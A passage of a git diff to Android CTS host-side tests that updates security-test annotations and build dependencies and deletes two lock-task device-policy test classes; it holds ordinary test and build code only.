+            if (hdrIdx == ATTR_HEADERS.length) {
+                throw new IllegalArgumentException(
+                        "SilentModeQueryResult.parse(): unknown header: " + hdr);
+            }
+            attrs[hdrIdx] = Boolean.parseBoolean(val.trim());
         }
 
-        return new SilentModeInfo(attrs);
+        return new SilentModeInfo(attrs[0], attrs[1], attrs[2]);
     }
-
 }
diff --git a/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
index ebffbe6..6c9684c 100644
--- a/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
+++ b/hostsidetests/content/src/android/content/cts/InvalidSyncAuthoritiesHostTest.java
@@ -17,7 +17,7 @@
 package android.content.cts;
 
 import android.appsecurity.cts.Utils;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
@@ -31,7 +31,6 @@
  * Otherwise a malicious app can effectively DOS the filesystem and the user can only get out of it
  * via a factory reset.
  */
-@SecurityTest
 public class InvalidSyncAuthoritiesHostTest extends DeviceTestCase implements IBuildReceiver {
 
     private static final String DEVICE_TEST_PACKAGE = "android.content.sync.cts";
@@ -66,6 +65,7 @@
         getDevice().uninstallPackage(DEVICE_TEST_PACKAGE);
     }
 
+    @AsbSecurityTest(cveBugId = 35028827)
     public void testInvalidEntriesClearedOnBoot() throws Exception {
         runDeviceTests(DEVICE_TEST_PACKAGE, DEVICE_TEST_CLASS, "populateAndTestSyncAutomaticallyBeforeReboot");
         getDevice().reboot();
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index d932dd8..3432898 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -34,6 +34,9 @@
         "general-tests",
         "mts",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     java_resource_dirs: ["res"],
     data: [":current-api-xml"],
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index 9fcf0ea..b91fec2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -34,6 +34,8 @@
         "cts-devicepolicy-suspensionchecker",
         "devicepolicy-deviceside-common",
         "ShortcutManagerTestUtils",
+        "MetricsRecorder",
+        "statsdprotolite",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -50,7 +52,7 @@
     name: "CtsDeviceAndProfileOwnerApp25",
     defaults: ["cts_defaults"],
     platform_apis: true,
-    min_sdk_version: "23",
+    min_sdk_version: "30",
     target_sdk_version: "25",
     srcs: ["src/**/*.java"],
     libs: [
@@ -66,6 +68,8 @@
         "cts-devicepolicy-suspensionchecker",
         "devicepolicy-deviceside-common",
         "ShortcutManagerTestUtils",
+        "MetricsRecorder",
+        "statsdprotolite",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -97,6 +101,8 @@
         "cts-devicepolicy-suspensionchecker",
         "devicepolicy-deviceside-common",
         "ShortcutManagerTestUtils",
+        "MetricsRecorder",
+        "statsdprotolite",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -132,6 +138,8 @@
         "cts-devicepolicy-suspensionchecker",
         "devicepolicy-deviceside-common",
         "ShortcutManagerTestUtils",
+        "MetricsRecorder",
+        "statsdprotolite",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
deleted file mode 100644
index 1552beb..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskHostDrivenTest.java
+++ /dev/null
@@ -1,335 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import android.app.ActivityManager;
-import android.app.ActivityOptions;
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-import android.telecom.TelecomManager;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.time.Duration;
-
-/**
- * Test class that is meant to be driven from the host and can't be run alone, which is required
- * for tests that include rebooting or other connection-breaking steps. For this reason, this class
- * does not override tearDown and setUp just initializes the test state, changing nothing in the
- * device. Therefore, the host is responsible for making sure the tests leave the device in a clean
- * state after running.
- */
-public class LockTaskHostDrivenTest extends BaseDeviceAdminTest {
-
-    private static final String TAG = LockTaskHostDrivenTest.class.getName();
-    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
-    private static final int LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS = 10000;  // 10 seconds
-    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
-    private static final String LOCK_TASK_ACTIVITY
-            = LockTaskUtilityActivityIfAllowed.class.getName();
-
-    private UiDevice mUiDevice;
-    private Context mContext;
-    private PackageManager mPackageManager;
-    private ActivityManager mActivityManager;
-    private TelecomManager mTelcomManager;
-    private DevicePolicyManager mDevicePolicyManager;
-
-    public void setUp() {
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        mContext = InstrumentationRegistry.getContext();
-        mPackageManager = mContext.getPackageManager();
-        mActivityManager = mContext.getSystemService(ActivityManager.class);
-        mTelcomManager = mContext.getSystemService(TelecomManager.class);
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
-    }
-
-    public void testStartLockTask_noAsserts() throws Exception {
-        Log.d(TAG, "testStartLockTask_noAsserts on host-driven test (no cleanup)");
-        setLockTaskPackages(mContext.getPackageName());
-        setDefaultHomeIntentReceiver();
-        launchLockTaskActivity();
-        mUiDevice.waitForIdle();
-    }
-
-    public void testCleanupLockTask_noAsserts() {
-        Log.d(TAG, "testCleanupLockTask_noAsserts on host-driven test");
-        mDevicePolicyManager.clearPackagePersistentPreferredActivities(
-                ADMIN_RECEIVER_COMPONENT,
-                mContext.getPackageName());
-        setLockTaskPackages();
-        mDevicePolicyManager.setLockTaskFeatures(ADMIN_RECEIVER_COMPONENT, 0);
-        // In case some activity is still in foreground
-        mUiDevice.pressHome();
-    }
-
-    public void testLockTaskIsActive() throws Exception {
-        Log.d(TAG, "testLockTaskIsActive on host-driven test");
-        waitAndCheckLockedActivityIsResumed();
-        checkLockedActivityIsRunning();
-    }
-
-    /**
-     * On low-RAM devices, this test can take too long to finish, so the test runner can incorrectly
-     * assume it's finished. Therefore, only use it once in a given test.
-     *
-     * <p>Does not test that the locked activity is initially in the foreground, since running this
-     * test in instrumentation can immediately kill the locked activity (while maintaining lock task
-     * mode).
-     */
-    public void testLockTaskIsActiveAndCantBeInterrupted() throws Exception {
-        Log.d(TAG, "testLockTaskIsActiveAndCantBeInterrupted on host-driven test");
-        waitAndEnsureLockTaskUtilityActivityIsRunning();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressHome();
-        mUiDevice.waitForIdle();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressRecentApps();
-        mUiDevice.waitForIdle();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.pressBack();
-        mUiDevice.waitForIdle();
-        checkLockedActivityIsRunning();
-
-        mUiDevice.waitForIdle();
-    }
-
-    /**
-      * Poll for {@link ActivityManager#getLockTaskModeState()} to equal
-      * {@link ActivityManager#LOCK_TASK_MODE_NONE}
-      *
-      * <p>This will check every 500 milliseconds for a maximum of
-     * {@link #LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS} milliseconds.
-      */
-    private void waitForLockTaskModeStateNone() {
-        long delayed = 0;
-        long delay = 500;
-        while (delayed <= LOCK_TASK_STATE_CHANGE_TIMEOUT_MILLIS) {
-            if (mActivityManager.getLockTaskModeState() == ActivityManager.LOCK_TASK_MODE_NONE) {
-                break;
-            }
-            SystemClock.sleep(delay);
-            delayed += delay;
-        }
-    }
-
-    public void testLockTaskIsExitedIfNotAllowed() throws Exception {
-        Log.d(TAG, "testLockTaskIsExitedIfNotAllowed on host-driven test");
-
-        // Allow this package
-        setLockTaskPackages(mContext.getPackageName());
-
-        // Launch lock task root activity
-        setDefaultHomeIntentReceiver();
-        launchLockTaskActivity();
-        waitAndCheckLockedActivityIsResumed();
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
-
-        // Remove it from allowlist
-        setLockTaskPackages();
-        waitForLockTaskModeStateNone();
-        mUiDevice.waitForIdle();
-
-        // The activity should be finished and exit lock task mode
-        waitAndCheckLockedActivityIsPaused();
-        Utils.tryWaitForSuccess(() -> ActivityManager.LOCK_TASK_MODE_NONE
-                        == mActivityManager.getLockTaskModeState(),
-                Duration.ofSeconds(5).toMillis()
-        );
-        assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
-    }
-
-    public void testLockTaskCanLaunchDefaultDialer() throws Exception {
-        if (!hasTelephonyFeature()) {
-            Log.d(TAG, "testLockTaskCanLaunchDefaultDialer skipped");
-            return;
-        }
-
-        Log.d(TAG, "testLockTaskCanLaunchDefaultDialer on host-driven test");
-
-        // Allow dialer package
-        String dialerPackage = mTelcomManager.getSystemDialerPackage();
-        assertNotNull(dialerPackage);
-        setLockTaskPackages(mContext.getPackageName(), dialerPackage);
-
-        // Launch lock task root activity
-        setDefaultHomeIntentReceiver();
-        launchLockTaskActivity();
-        waitAndCheckLockedActivityIsResumed();
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
-
-        // Launch dialer
-        launchDialerIntoLockTaskMode(dialerPackage);
-
-        // Wait until dialer package starts
-        mUiDevice.wait(
-                Until.hasObject(By.pkg(dialerPackage).depth(0)),
-                ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-        mUiDevice.waitForIdle();
-        waitAndCheckLockedActivityIsPaused();
-
-        // But still in LockTask mode
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED,
-                mActivityManager.getLockTaskModeState());
-    }
-
-    public void testLockTaskCanLaunchEmergencyDialer() throws Exception {
-        if (!hasTelephonyFeature()) {
-            Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped");
-            return;
-        }
-
-        // Find dialer package
-        String dialerPackage = getEmergencyDialerPackageName();
-        if (dialerPackage == null || dialerPackage.isEmpty()) {
-            Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer skipped since no emergency dialer");
-            return;
-        }
-
-        Log.d(TAG, "testLockTaskCanLaunchEmergencyDialer on host-driven test");
-
-        // Emergency dialer should be usable as long as keyguard feature is enabled
-        // regardless of the package allowlist
-        mDevicePolicyManager.setLockTaskFeatures(
-                ADMIN_RECEIVER_COMPONENT, DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD);
-        setLockTaskPackages(mContext.getPackageName());
-
-        // Launch lock task root activity
-        setDefaultHomeIntentReceiver();
-        launchLockTaskActivity();
-        waitAndCheckLockedActivityIsResumed();
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
-
-        // Launch dialer
-        launchEmergencyDialer();
-
-        // Wait until dialer package starts
-        mUiDevice.wait(
-                Until.hasObject(By.pkg(dialerPackage).depth(0)),
-                ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-        mUiDevice.waitForIdle();
-        waitAndCheckLockedActivityIsPaused();
-
-        // But still in LockTask mode
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED,
-                mActivityManager.getLockTaskModeState());
-    }
-
-    private boolean hasTelephonyFeature() {
-        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP &&
-                mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
-    }
-
-    private void checkLockedActivityIsRunning() {
-        String activityName =
-                mActivityManager.getAppTasks().get(0).getTaskInfo().topActivity.getClassName();
-        assertEquals(LOCK_TASK_ACTIVITY, activityName);
-        assertEquals(
-                ActivityManager.LOCK_TASK_MODE_LOCKED, mActivityManager.getLockTaskModeState());
-    }
-
-    /**
-     * Ensures the locked activity is resumed or otherwise launches it but without starting lock
-     * task if it is not already in that mode.
-     */
-    private void waitAndEnsureLockTaskUtilityActivityIsRunning() throws Exception {
-        mUiDevice.waitForIdle();
-        final boolean lockedActivityIsResumed =
-                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-        if (!lockedActivityIsResumed) {
-            launchLockTaskUtilityActivityWithoutStartingLockTask();
-            waitAndCheckLockedActivityIsResumed();
-        }
-    }
-
-    private void waitAndCheckLockedActivityIsResumed() throws Exception {
-        mUiDevice.waitForIdle();
-        assertTrue(
-                LockTaskUtilityActivity.waitUntilActivityResumed(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
-    }
-
-    private void waitAndCheckLockedActivityIsPaused() throws Exception {
-        mUiDevice.waitForIdle();
-        assertTrue(
-                LockTaskUtilityActivity.waitUntilActivityPaused(ACTIVITY_RESUMED_TIMEOUT_MILLIS));
-    }
-
-    private void launchDialerIntoLockTaskMode(String dialerPackage) {
-        Intent intent = new Intent(Intent.ACTION_DIAL)
-                .setPackage(dialerPackage)
-                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
-        mContext.startActivity(intent, options);
-    }
-
-    private void launchEmergencyDialer() {
-        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-    }
-
-    private String getEmergencyDialerPackageName() {
-        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        ResolveInfo dialerInfo =
-                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
-        return (dialerInfo != null) ? dialerInfo.activityInfo.packageName : null;
-    }
-
-    private void launchLockTaskActivity() {
-        Intent intent = new Intent(mContext, LockTaskUtilityActivityIfAllowed.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
-        mContext.startActivity(intent);
-    }
-
-    private void launchLockTaskUtilityActivityWithoutStartingLockTask() {
-        final Intent intent = new Intent(mContext, LockTaskUtilityActivityIfAllowed.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-    }
-
-    private void setLockTaskPackages(String... packages) {
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_RECEIVER_COMPONENT, packages);
-    }
-
-    private void setDefaultHomeIntentReceiver() {
-        IntentFilter intentFilter = new IntentFilter(Intent.ACTION_MAIN);
-        intentFilter.addCategory(Intent.CATEGORY_HOME);
-        intentFilter.addCategory(Intent.CATEGORY_DEFAULT);
-        mDevicePolicyManager.addPersistentPreferredActivity(
-                ADMIN_RECEIVER_COMPONENT, intentFilter,
-                new ComponentName(mContext.getPackageName(), LOCK_TASK_ACTIVITY));
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
deleted file mode 100644
index 95a0e28..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskTest.java
+++ /dev/null
@@ -1,334 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_BLOCK_ACTIVITY_START_IN_TASK;
-
-import android.app.ActivityManager;
-import android.app.ActivityOptions;
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.Until;
-import android.util.Log;
-import android.view.KeyEvent;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.time.Duration;
-import java.util.concurrent.TimeUnit;
-
-public class LockTaskTest extends BaseDeviceAdminTest {
-
-    private static final String TAG = "LockTaskTest";
-
-    private static final String PACKAGE_NAME = LockTaskTest.class.getPackage().getName();
-    private static final ComponentName ADMIN_COMPONENT = ADMIN_RECEIVER_COMPONENT;
-
-    private static final String UTILITY_ACTIVITY
-            = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivity";
-    private static final String UTILITY_ACTIVITY_IF_ALLOWED
-            = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed";
-
-    private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
-            "com.android.cts.intent.receiver";
-    private static final String RECEIVER_ACTIVITY_NAME =
-            "com.android.cts.intent.receiver.IntentReceiverActivity";
-    private static final String ACTION_JUST_CREATE =
-            "com.android.cts.action.JUST_CREATE";
-    private static final String ACTION_CREATE_AND_WAIT =
-            "com.android.cts.action.CREATE_AND_WAIT";
-    private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
-            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
-    private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
-            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
-
-    private static final long ACTIVITY_RESUMED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
-    private static final long ACTIVITY_RUNNING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
-    private static final long ACTIVITY_DESTROYED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(60);
-
-    /**
-     * The tests below need to keep detailed track of the state of the activity
-     * that is started and stopped frequently.  To do this it sends a number of
-     * broadcasts that are caught here and translated into booleans (as well as
-     * notify some locks in case we are waiting).  There is also an action used
-     * to specify that the activity has finished handling the current command
-     * (INTENT_ACTION).
-     */
-    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            Log.d(TAG, "onReceive: " + action);
-            if (LockTaskUtilityActivity.CREATE_ACTION.equals(action)) {
-                synchronized (mActivityRunningLock) {
-                    mIsActivityRunning = true;
-                    mActivityRunningLock.notify();
-                }
-            } else if (LockTaskUtilityActivity.DESTROY_ACTION.equals(action)) {
-                synchronized (mActivityRunningLock) {
-                    mIsActivityRunning = false;
-                    mActivityRunningLock.notify();
-                }
-            } else if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
-                synchronized (mActivityResumedLock) {
-                    mIsActivityResumed = true;
-                    mActivityResumedLock.notify();
-                }
-            } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
-                synchronized (mActivityResumedLock) {
-                    mIsActivityResumed = false;
-                    mActivityResumedLock.notify();
-                }
-            } else if (LockTaskUtilityActivity.INTENT_ACTION.equals(action)) {
-                // Notify that intent has been handled.
-                synchronized (LockTaskTest.this) {
-                    mIntentHandled = true;
-                    LockTaskTest.this.notify();
-                }
-            } else if (RECEIVER_ACTIVITY_CREATED_ACTION.equals(action)) {
-                synchronized(mReceiverActivityRunningLock) {
-                    mIsReceiverActivityRunning = true;
-                    mReceiverActivityRunningLock.notify();
-                }
-            } else if (RECEIVER_ACTIVITY_DESTROYED_ACTION.equals(action)) {
-                synchronized (mReceiverActivityRunningLock) {
-                    mIsReceiverActivityRunning = false;
-                    mReceiverActivityRunningLock.notify();
-                }
-            }
-        }
-    };
-
-    private volatile boolean mIsActivityRunning;
-    private volatile boolean mIsActivityResumed;
-    private volatile boolean mIsReceiverActivityRunning;
-    private volatile boolean mIntentHandled;
-    private final Object mActivityRunningLock = new Object();
-    private final Object mActivityResumedLock = new Object();
-    private final Object mReceiverActivityRunningLock = new Object();
-
-    private Context mContext;
-    private UiDevice mUiDevice;
-    private ActivityManager mActivityManager;
-    private DevicePolicyManager mDevicePolicyManager;
-
-    public void setUp() {
-        mContext = InstrumentationRegistry.getContext();
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
-        mActivityManager = mContext.getSystemService(ActivityManager.class);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(LockTaskUtilityActivity.CREATE_ACTION);
-        filter.addAction(LockTaskUtilityActivity.DESTROY_ACTION);
-        filter.addAction(LockTaskUtilityActivity.INTENT_ACTION);
-        filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
-        filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
-        filter.addAction(RECEIVER_ACTIVITY_CREATED_ACTION);
-        filter.addAction(RECEIVER_ACTIVITY_DESTROYED_ACTION);
-        mContext.registerReceiver(mReceiver, filter);
-    }
-
-    public void tearDown() {
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
-        mContext.unregisterReceiver(mReceiver);
-    }
-
-    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
-    // Allow the activity and verify that lock task mode is started.
-    public void testManifestArgument_allowed() throws Exception {
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
-        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_ALLOWED));
-        waitForResume();
-
-        assertLockTaskModeActive();
-        assertTrue(mIsActivityRunning);
-        assertTrue(mIsActivityResumed);
-
-        stopAndFinish(UTILITY_ACTIVITY_IF_ALLOWED);
-    }
-
-    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
-    // Don't allow the activity and verify that lock task mode is not started.
-    public void testManifestArgument_notAllowed() throws Exception {
-        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_ALLOWED));
-        waitForResume();
-
-        assertLockTaskModeInactive();
-        assertTrue(mIsActivityRunning);
-        assertTrue(mIsActivityResumed);
-
-        stopAndFinish(UTILITY_ACTIVITY_IF_ALLOWED);
-    }
-
-    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
-    // An activity locked via manifest argument cannot finish without calling stopLockTask.
-    public void testManifestArgument_cannotFinish() throws Exception {
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
-        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_ALLOWED));
-        waitForResume();
-
-        // If lock task has not exited then the activity shouldn't actually receive onDestroy.
-        finishAndWait(UTILITY_ACTIVITY_IF_ALLOWED);
-        assertLockTaskModeActive();
-        assertTrue(mIsActivityRunning);
-
-        stopAndFinish(UTILITY_ACTIVITY_IF_ALLOWED);
-    }
-
-    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
-    // Verifies that updating the allowlist during lock task mode finishes the locked task.
-    public void testManifestArgument_updateAllowlist() throws Exception {
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
-        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_ALLOWED));
-        waitForResume();
-
-        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
-
-        synchronized (mActivityRunningLock) {
-            mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
-        }
-
-        assertLockTaskModeInactive();
-        assertFalse(mIsActivityRunning);
-        assertFalse(mIsActivityResumed);
-    }
-
-    /**
-     * Checks that lock task mode is active and fails the test if it isn't.
-     */
-    private void assertLockTaskModeActive() throws Exception {
-        Utils.tryWaitForSuccess(() -> ActivityManager.LOCK_TASK_MODE_LOCKED
-                        == mActivityManager.getLockTaskModeState(),
-                Duration.ofSeconds(2).toMillis()
-        );
-        assertTrue(mActivityManager.isInLockTaskMode());
-        assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
-                mActivityManager.getLockTaskModeState());
-    }
-
-    /**
-     * Checks that lock task mode is not active and fails the test if it is.
-     */
-    private void assertLockTaskModeInactive() throws Exception {
-        Utils.tryWaitForSuccess(() -> ActivityManager.LOCK_TASK_MODE_NONE
-                        == mActivityManager.getLockTaskModeState(),
-                Duration.ofSeconds(2).toMillis()
-        );
-        assertFalse(mActivityManager.isInLockTaskMode());
-        assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
-    }
-
-    /**
-     * Call stopLockTask and finish on the LockTaskUtilityActivity.
-     *
-     * Verify that the activity is no longer running.
-     *
-     * If activityManager is not null then verify that the ActivityManager
-     * is no longer in lock task mode.
-     */
-    private void stopAndFinish(String className) throws Exception {
-        stopLockTask(className);
-        finishAndWait(className);
-        assertLockTaskModeInactive();
-        assertFalse(mIsActivityRunning);
-    }
-
-    /**
-     * Call finish on the LockTaskUtilityActivity and wait for
-     * onDestroy to be called.
-     */
-    private void finishAndWait(String className) throws InterruptedException {
-        synchronized (mActivityRunningLock) {
-            finish(className);
-            if (mIsActivityRunning) {
-                mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
-            }
-        }
-    }
-
-    /**
-     * Wait for onResume to be called on the LockTaskUtilityActivity.
-     */
-    private void waitForResume() throws InterruptedException {
-        // It may take a moment for the resume to come in.
-        synchronized (mActivityResumedLock) {
-            if (!mIsActivityResumed) {
-                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            }
-        }
-    }
-
-    /**
-     * Calls stopLockTask on the LockTaskUtilityActivity
-     */
-    private void stopLockTask(String className) throws InterruptedException {
-        Intent intent = getLockTaskUtility(className);
-        intent.putExtra(LockTaskUtilityActivity.STOP_LOCK_TASK, true);
-        startAndWait(intent);
-    }
-
-    /**
-     * Calls finish on the LockTaskUtilityActivity
-     */
-    private void finish(String className) throws InterruptedException {
-        Intent intent = getLockTaskUtility(className);
-        intent.putExtra(LockTaskUtilityActivity.FINISH, true);
-        startAndWait(intent);
-    }
-
-    /**
-     * Sends a command intent to the LockTaskUtilityActivity and waits
-     * to receive the broadcast back confirming it has finished processing
-     * the command.
-     */
-    private void startAndWait(Intent intent) throws InterruptedException {
-        startAndWait(intent, null);
-    }
-
-    /**
-     * Same as {@link #startAndWait(Intent)}, but with additional {@link ActivityOptions}.
-     */
-    private void startAndWait(Intent intent, Bundle options) throws InterruptedException {
-        mIntentHandled = false;
-        synchronized (this) {
-            mContext.startActivity(intent, options);
-            // Give 20 secs to finish.
-            wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
-            assertTrue(mIntentHandled);
-        }
-    }
-
-    /**
-     * Get basic intent that points at the LockTaskUtilityActivity.
-     *
-     * This intent includes the flags to make it act as single top.
-     */
-    private Intent getLockTaskUtility(String className) {
-        Intent intent = new Intent();
-        intent.setClassName(PACKAGE_NAME, className);
-        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
-        return intent;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
index a1ccb12..b305297 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
@@ -28,9 +28,12 @@
 
 import android.app.KeyguardManager;
 import android.app.admin.DevicePolicyManager;
+import android.stats.devicepolicy.EventId;
 
 import androidx.test.InstrumentationRegistry;
 
